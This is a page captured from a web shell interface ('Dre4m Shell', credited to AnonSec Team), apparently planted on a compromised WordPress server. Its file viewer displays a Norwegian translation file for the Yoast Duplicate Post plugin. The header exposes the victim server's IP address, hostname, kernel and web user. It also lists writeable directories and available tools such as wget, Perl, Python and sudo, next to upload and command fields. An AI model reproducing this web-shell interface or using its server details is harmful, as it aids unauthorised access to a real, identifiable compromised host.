Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.128.198.191
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/root/proc/2/cwd/proc/3/root/var/www/wordpress/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/root/proc/2/cwd/proc/3/root/var/www/wordpress/wp-content/languages/plugins/duplicate-post-nb_NO.po
# Translation of Plugins - Yoast Duplicate Post - Stable (latest release) in Norwegian (Bokmål)
# This file is distributed under the same license as the Plugins - Yoast Duplicate Post - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2022-08-09 10:18:02+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.0-alpha.1\n"
"Language: nb_NO\n"
"Project-Id-Version: Plugins - Yoast Duplicate Post - Stable (latest release)\n"

#: src/handlers/check-changes-handler.php:134
msgid "Added"
msgstr "Lagt til"

#: src/handlers/check-changes-handler.php:133
msgid "Removed"
msgstr "Fjernet"

#: src/ui/classic-editor.php:252 js/dist/duplicate-post-strings-450.js:1
msgid "Schedule republish"
msgstr "Planlegg publisering på nytt"

#. translators: %s: Date on which the post is to be republished.
#: src/ui/classic-editor.php:229
msgid "Republish on: %s"
msgstr "Publiser på nytt: %s"

#: src/ui/classic-editor.php:201
msgid "Compare"
msgstr "Sammenlikne"

#. translators: %s: Original item link (to view or edit) or title.
#: src/ui/post-states.php:61
msgid "Rewrite & Republish of %s"
msgstr "Omskriving  og publisering på nytt av %s"

#: src/ui/row-actions.php:145
msgctxt "verb"
msgid "Rewrite & Republish"
msgstr "Omskriv og publiser på nytt"

#. translators: %s: Post title.
#: src/ui/row-actions.php:143
msgid "Rewrite & Republish “%s”"
msgstr "Omskriv og publiser på nytt “%s”"

#: src/admin/views/options.php:190
msgid "Show these links"
msgstr "Vis disse lenkene"

#: src/admin/options.php:281 src/ui/admin-bar.php:105 src/ui/admin-bar.php:125
#: src/ui/bulk-actions.php:74 src/ui/classic-editor.php:173
#: js/dist/duplicate-post-edit-450.js:1
msgid "Rewrite & Republish"
msgstr "Omskriv og publiser på nytt"

#: src/admin/options.php:236
msgid "In a metabox in the Edit screen"
msgstr "I en metaboks på redigerisskjermen"

#: src/admin/options.php:142
msgid "Post format"
msgstr "Innleggsformat"

#: src/post-republisher.php:83 src/ui/classic-editor.php:224
#: js/dist/duplicate-post-strings-450.js:1
msgid "Republish"
msgstr "Publiser på nytt"

#: src/handlers/check-changes-handler.php:116
msgid "← Return to editor"
msgstr "← Tilbake til redigering"

#: src/ui/newsletter.php:58
msgid "Subscribe"
msgstr "Abonner"

#. translators: 1: Code start tag, 2: Code closing tag, 3: Link start tag to
#. the template tag documentation, 4: Link closing tag.
#: src/admin/views/options.php:216
msgid "You can also use the template tag %1$sduplicate_post_clone_post_link( $link, $before, $after, $id )%2$s. %3$sMore info on the template tag%4$s."
msgstr "Du kan også bruke mal-elementet %1$sduplicate_post_clone_post_link( $link, $before, $after, $id )%2$s. %3$sMer info om mal-elementet%4$s."

#. translators: %s: Post title.
#: src/ui/row-actions.php:112
msgid "New draft of “%s”"
msgstr "Ny kladd av “%s”"

#: src/ui/row-actions.php:87
msgctxt "verb"
msgid "Clone"
msgstr "Klone"

#. translators: %s: post title
#: src/ui/metabox.php:100
msgid "The original item this was copied from is: <span class=\"duplicate_post_original_item_title_span\">%s</span>"
msgstr "Det originale elementet dette var kopiert fra er: <span class=\"duplicate_post_original_item_title_span\">%s</span>"

#: src/ui/column.php:135
msgid "The original item this was copied from is: <span class=\"duplicate_post_original_item_title_span\"></span>"
msgstr "Det originale elementet dette var kopiert fra er: <span class=\"duplicate_post_original_item_title_span\"></span>"

#: src/ui/column.php:130 src/ui/metabox.php:89
msgid "Delete reference to original item."
msgstr "Slett referansen til det originale elementet."

#: src/ui/newsletter.php:29
msgid "Email address"
msgstr "E-postadresse"

#. translators: 1: Yoast
#: src/ui/newsletter.php:22
msgid "If you want to stay up to date about all the exciting developments around Duplicate Post, subscribe to the %1$s newsletter!"
msgstr "Om du ønsker å holde deg  oppdatert om alle den spennende utviklingehn rundt Dupliser innlegg, abonner på nyhetsbrevet %1$s!"

#. Author URI of the plugin
msgid "https://yoast.com"
msgstr "https://yoast.com"

#. Author of the plugin
msgid "Enrico Battocchi & Team Yoast"
msgstr "Enrico Battocchi & Team Yoast"

#. Plugin URI of the plugin
msgid "https://yoast.com/wordpress/plugins/duplicate-post/"
msgstr "https://yoast.com/wordpress/plugins/duplicate-post/"

#. Plugin Name of the plugin
msgid "Yoast Duplicate Post"
msgstr "Yoast Dupliser innlegg"

#. translators: %s: Post title.
#: src/ui/row-actions.php:85
msgid "Clone &#8220;%s&#8221;"
msgstr "Kopier &#8220;%s&#8221;"

#. translators: %s: Original item link (to view or edit) or title.
#: src/ui/post-states.php:67
msgid "Original: %s"
msgstr "Original: %s"

#: src/ui/column.php:68
msgid "Original item"
msgstr "Originalt element"

#: src/admin/options.php:256
msgid "After the title in the Post list"
msgstr "Etter overskriften i oversikten over innlegg"

#: src/admin/options.php:249
msgid "You'll also be able to delete the reference to the original item with a checkbox in Quick Edit"
msgstr "Du vil også kunne slette referansen til det originale elementet med en avkrysningsboks i hurtigredigering"

#: src/admin/options.php:246
msgid "In a column in the Post list"
msgstr "I en kolonne i oversikten over innlegg"

#: src/admin/options.php:239
msgid "You'll also be able to delete the reference to the original item with a checkbox"
msgstr "Du vil også kunne slette referansen til det originale elementet med en avkrysningsboks"

#: src/admin/views/options.php:227
msgid "Show original item:"
msgstr "Vis originalt element:"

#: src/admin/views/options.php:20
msgid "Settings sections"
msgstr "Innstillingssesksjoner"

#: duplicate-post.php:98
msgid "Settings for Duplicate Post"
msgstr "Innstillinger for Kopier innlegg"

#. translators: %s: post title
#: src/utils.php:144
msgid "View &#8220;%s&#8221;"
msgstr "Vis &#8220;%s&#8221;"

#. translators: %s: post title
#: src/utils.php:134
msgid "Preview &#8220;%s&#8221;"
msgstr "Forhåndsvis &#8220;%s&#8221;"

#. translators: %s: post title
#: src/utils.php:122
msgid "Edit &#8220;%s&#8221;"
msgstr "Rediger &#8220;%s&#8221;"

#: src/handlers/link-handler.php:58 src/handlers/link-handler.php:114
#: src/handlers/link-handler.php:188
msgid "Current user is not allowed to copy posts."
msgstr "Denne brukeren har ikke rettigheter til å kopiere innlegg."

#: src/admin/options.php:165
msgid "you probably want this unchecked, unless you have very special requirements"
msgstr "du vil mest sannsynlig ikke ha behov for dette, unntatt hvis du har spesielle krav"

#: admin-functions.php:750
msgid "Documentation"
msgstr "Dokumentasjon"

#: src/admin/options.php:307
msgid "Bulk Actions"
msgstr "Massehandlinger"

#: src/admin/options.php:217
msgid "You can use * to match zero or more alphanumeric characters or underscores: e.g. field*"
msgstr "Du kan bruke * for å få treff på null eller flere alfanumeriske tegn eller understreker: eks. felt*"

#: src/admin/options.php:186
msgid "Menu order"
msgstr "Menyrekkefølge"

#: src/admin/options.php:149
msgid "Author"
msgstr "Forfatter"

#: src/admin/options.php:135
msgid "Template"
msgstr "Mal"

#: src/admin/options.php:128
msgid "Featured Image"
msgstr "Fremhevet bilde"

#. translators: %s: Number of posts copied.
#: src/watchers/bulk-actions-watcher.php:55
#: src/watchers/link-actions-watcher.php:73
msgid "%s item copied."
msgid_plural "%s items copied."
msgstr[0] "%s element kopiert."
msgstr[1] "%s elementer kopiert."

#: src/admin/views/options.php:174 src/admin/views/options.php:211
msgid "Whether the links are displayed for custom post types registered by themes or plugins depends on their use of standard WordPress UI elements."
msgstr "Om lenkene vises for egendefinerte innholdstyper registrert av temaer eller utvidelser kommer an på deres bruk av WordPress' standardelementer for brukergrensesnitt."

#: src/admin/views/options.php:172
msgid "Select the post types you want the plugin to be enabled for."
msgstr "Velg innholdstypene du ønsker at utvidelsen skal være aktivert for."

#: src/admin/views/options.php:162 src/admin/views/options.php:166
msgid "Enable for these post types"
msgstr "Aktiver for disse innholdstypene"

#: src/admin/views/options.php:155
msgid "Passwords and contents of password-protected posts may become visible to undesired users and visitors."
msgstr "Passord on innhold i passordbeskyttede innlegg kan bli synlig for uønskede brukere og besøkende."

#: src/admin/views/options.php:127
msgid "Show/hide private taxonomies"
msgstr "Vis/skjul private taksonomier"

#: src/admin/options.php:208
msgid "Add this number to the original menu order (blank or zero to retain the value)"
msgstr "Legg til dette nummeret i den originale menyrekkefølgen (blant eller null for å beholde verdien)"

#: src/admin/options.php:206 src/admin/views/options.php:93
msgid "Increase menu order by"
msgstr "Øk menyrekkefølge med"

#: src/admin/options.php:180
msgid "except pingbacks and trackbacks"
msgstr "unntatt tilbakeping og tilbaketråkk"

#: src/admin/options.php:178
msgid "Comments"
msgstr "Kommentarer"

#: src/admin/options.php:171
msgid "Children"
msgstr "Under-innlegg"

#: src/admin/options.php:163
msgid "Attachments"
msgstr "Vedlegg"

#: src/admin/options.php:156
msgid "Password"
msgstr "Passord"

#: src/admin/options.php:121 src/handlers/check-changes-handler.php:127
msgid "Content"
msgstr "Innhold"

#: src/admin/options.php:114 src/handlers/check-changes-handler.php:128
msgid "Excerpt"
msgstr "Utdrag"

#: src/admin/options.php:107
msgid "Slug"
msgstr "Permalenke"

#: src/admin/options.php:100
msgid "Status"
msgstr "Status"

#: src/admin/options.php:93
msgid "Date"
msgstr "Dato"

#: src/admin/options.php:86 src/handlers/check-changes-handler.php:126
msgid "Title"
msgstr "Tittel"

#: src/admin/views/options.php:58 src/admin/views/options.php:61
msgid "Post/page elements to copy"
msgstr "Innlegg-/sideelementer som skal kopieres"

#: src/admin/views/options.php:46 src/admin/views/options.php:187
msgid "Display"
msgstr "Vis"

#: src/admin/views/options.php:37 src/admin/views/options.php:140
msgid "Permissions"
msgstr "Tillatelser"

#: src/admin/views/options.php:28 src/admin/views/options.php:55
msgid "What to copy"
msgstr "Hva skal kopieres"

#: admin-functions.php:603
msgid "Copy features for this post type are not enabled in options page"
msgstr "Kopieringsfunksjoner for denne innholdstypen er ikke aktivert i alternativer"

#: duplicate-post.php:99
msgid "Settings"
msgstr "Innstillinger"

#: src/admin/views/options.php:247
msgid "Save changes"
msgstr "Lagre endringer"

#: src/admin/options.php:297
msgid "Admin bar"
msgstr "Adminbar"

#: src/admin/options.php:302
msgid "Edit screen"
msgstr "Redigeringsskjerm"

#: src/admin/options.php:292
msgid "Post list"
msgstr "Innleggsliste"

#: src/admin/views/options.php:202
msgid "Show links in"
msgstr "Vis lenker i"

#: src/admin/views/options.php:144 src/admin/views/options.php:147
msgid "Roles allowed to copy"
msgstr "Roller som kan kopiere"

#: src/admin/options.php:201
msgid "Suffix to be added after the title, e.g. \"(dup)\" (blank for no suffix)"
msgstr "Suffiks som legges til opprinnelig tittel, f.eks. \"(kopi)\" (tom for ingen suffiks)"

#: src/admin/options.php:199 src/admin/views/options.php:82
msgid "Title suffix"
msgstr "Tittelsuffiks"

#: src/admin/options.php:194
msgid "Prefix to be added before the title, e.g. \"Copy of\" (blank for no prefix)"
msgstr "Prefiks som legges til før opprinnelig tittel, f.eks. \"Kopi av\" (tom for ingen prefiks)"

#: src/admin/options.php:192 src/admin/views/options.php:71
msgid "Title prefix"
msgstr "Tittelprefiks"

#: src/admin/views/options.php:116 src/admin/views/options.php:120
msgid "Do not copy these taxonomies"
msgstr "Ikke kopier følgende taksonomier"

#: src/admin/options.php:216
msgid "Comma-separated list of meta fields that must not be copied."
msgstr "Kommaseparert liste over meta-felt som ikke får kopieres."

#: src/admin/options.php:213 src/admin/views/options.php:105
msgid "Do not copy these fields"
msgstr "Ikke kopier disse feltene"

#: src/admin/options-page.php:77 src/ui/admin-bar.php:89 src/ui/metabox.php:59
msgid "Duplicate Post"
msgstr "Dupliser innlegg"

#: src/admin/options-page.php:76 src/admin/views/options.php:14
msgid "Duplicate Post Options"
msgstr "Alternativer for dupliserte innlegg"

#: src/handlers/link-handler.php:75 src/handlers/link-handler.php:131
#: src/handlers/link-handler.php:205
msgid "Copy creation failed, could not find original:"
msgstr "Kopiering feilet, kunne ikke finne originalen:"

#: src/handlers/link-handler.php:63 src/handlers/link-handler.php:119
#: src/handlers/link-handler.php:193
msgid "No post to duplicate has been supplied!"
msgstr "Intet innlegg for kopiering har blitt oppgitt!"

#: src/admin/options.php:271 src/ui/row-actions.php:114
msgid "New Draft"
msgstr "Ny kladd"

#: common-functions.php:79 src/ui/admin-bar.php:97 src/ui/admin-bar.php:115
#: src/ui/classic-editor.php:144 js/dist/duplicate-post-edit-450.js:1
msgid "Copy to a new draft"
msgstr "Kopier til en ny kladd"

#: src/admin/options.php:276 src/ui/bulk-actions.php:69
msgid "Clone"
msgstr "Klone"

Anon7 - 2022
AnonSec Team